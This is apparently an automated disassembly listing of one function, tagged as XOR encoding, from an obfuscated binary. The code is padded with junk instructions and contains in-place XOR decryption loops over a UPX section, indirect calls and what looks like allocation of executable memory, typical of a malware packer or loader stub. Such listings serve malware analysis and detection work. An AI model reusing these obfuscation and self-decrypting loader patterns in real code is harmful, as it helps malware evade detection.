Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x17f49fa
mov edx, 0x7863034c
not edx
popal
sub edx, 1
sub eax, 1
mov eax, 0
mov ecx, ebx
inc edx
not esi
mov edi, ecx
inc edx
or esi, esi
mov esi, edx
mov ebx, edi
or edx, esi
add esi, 0x65091466
mov esi, 0x4a31453d
inc eax
mov esi, edx
add edx, 0x831b53f7
cmp eax, 0x100e517
jne 0xa789cb
mov esi, edx
and edx, esi
sub edx, 1
or eax, eax
mov edx, 0xfdda7017
mov eax, 0xa78796
add edx, 0x359baa17
sub ecx, 0x29bc2c5
and edi, ecx
mov esi, 0xa7898a
mov edx, 0xdef88eaf
add ecx, 1
mov ebx, dword [eax]
add ecx, 0xdb4d144e
add edi, 0xa6a67df9
and ebx, 0xff
sub ecx, edx
add edi, edi
and edi, ecx
xor dword [esi], ebx
sub edi, 0x122ade34
sub edi, ecx
sub edx, edi
add esi, 1
or edx, edi
dec edx
inc eax
sub edi, 1
or ecx, edx
cmp esi, entry0
jl 0xa78a2f
add edi, edi
add edi, 1
mov ecx, edx
inc ecx
not edi
and edi, ecx
dec ecx
and edi, esi
mov ebx, 0xa7898e
add ecx, esi
sub esi, 1
mov ebx, dword [ebx]
mov edx, 0x3e7d2fcd
not edx
mov ecx, edx
mov ebx, dword [ebx]
mov esi, 0x4380f8f7
add edi, esi
add esi, 0xe974f84b
push ebx
mov esi, ecx
dec edi
mov ebx, 0xa7898a
add edi, 0x54c2e459
sub edx, edi
sub esi, ecx
mov ebx, dword [ebx]
or ecx, esi
sub ecx, esi
mov ebx, dword [ebx]
mov esi, edx
add edi, ecx
sub esp, 4
mov dword [esp], 0xa78992
mov esi, 0x86cf77ef
add ecx, edx
call ebx
mov ecx, 0x3990657d
sub ecx, 0x9cd2794a
pop ebx
add ecx, 1
add edx, esi
not edx
push 0xa7899f
mov ecx, edx
mov esi, edx
push eax
dec esi
mov edx, esi
call ebx
inc edi
not ecx
push 0x40
or edi, edi
not edx
add edi, 0xe1ad61fc
push 0x3000
or ecx, edx
not ecx
push 0x20000b9e
not esi
or edx, ecx
mov edi, ecx
push 0
not esi
mov edx, 0xe44dbd72
not ecx
call eax
not edx
add ecx, 1
add eax, 0x20000b2b
or esi, ecx
add edi, edi
mov ebx, 0x84b11b9d
and edx, edi
or ecx, edx
add ecx, 0xd5c43a3b
mov dword [eax], ebx
mov esi, 0xbba7acdf
sub esi, 1
mov ebx, dword [eax]
and edx, edi
sub edi, 0xb3bee58c
cmp ebx, 0x84b11b9d
je 0xa78b80
mov edx, 0
mov eax, dword [edx]
add edi, 0xa434a801
not edi
not edi
mov edx, edi
and edx, edi
sub edx, 0x9ee27c0
sub eax, 0x673187e4
add eax, 0xc65286e1
mov edi, section.UPX1
mov eax, 0x843e936a
add eax, 1
mov edx, 0x27a07c04
mov ecx, 0xa78795
mov edx, 0xa7e57f69
mov eax, 0x1488c95e
mov esi, 0
add eax, 0xcaaf1a93
sub eax, 0x5eec4f3
mov ebx, 0xa78796
mov edx, 0x64f3ec9c
add edx, eax
lea ebx, [esi + ebx]
sub eax, edx
add edx, 1
or eax, eax
mov ebx, dword [ebx]
mov edx, 0xb98956d3
not eax
and ebx, 0xff
mov edx, 0x19e16f4b
not eax
add esi, 1
or eax, edx
and edx, eax
cmp esi, 0x1f4
jne 0xa78c1b
mov esi, 0
mov edx, eax
dec eax
sub edx, 0x41d6743a
add edx, 0xa612047
add eax, 0xce510b40
and eax, edx
xor dword [edi], ebx
sub eax, 0xbe1a02b0
add edx, 0xa4b2618b
add edi, 2
add edx, eax
sub eax, 0xc86126d9
cmp edi, ecx
jl 0xa78bd5
inc edx
sub eax, edx
or eax, edx
mov edx, 0xe909ec38
mov edi, section.UPX1
sub esi, eax
sub esi, 1
add eax, eax
mov ebx, section.UPX1
sub esi, 0x52c5690a
dec eax
mov edx, 0xa78795
inc eax
inc eax
mov ecx, 0
sub esi, 1
or esi, esi
mov cl, byte [ebx]
and esi, eax
dec esi
add eax, eax
mov byte [edi], cl
mov eax, esi
mov esi, eax
mov eax, esi
inc edi
mov eax, 0x6621a91c
or eax, esi
or eax, esi
add ebx, 2
mov esi, 0x8111242d
mov esi, 0x79b72698
cmp ebx, edx
jle 0xa78c8f
add esi, esi
sub eax, esi
inc edx
or edx, eax
push 0x8dc6a0
add edx, 0x398162f8
or eax, edx
ret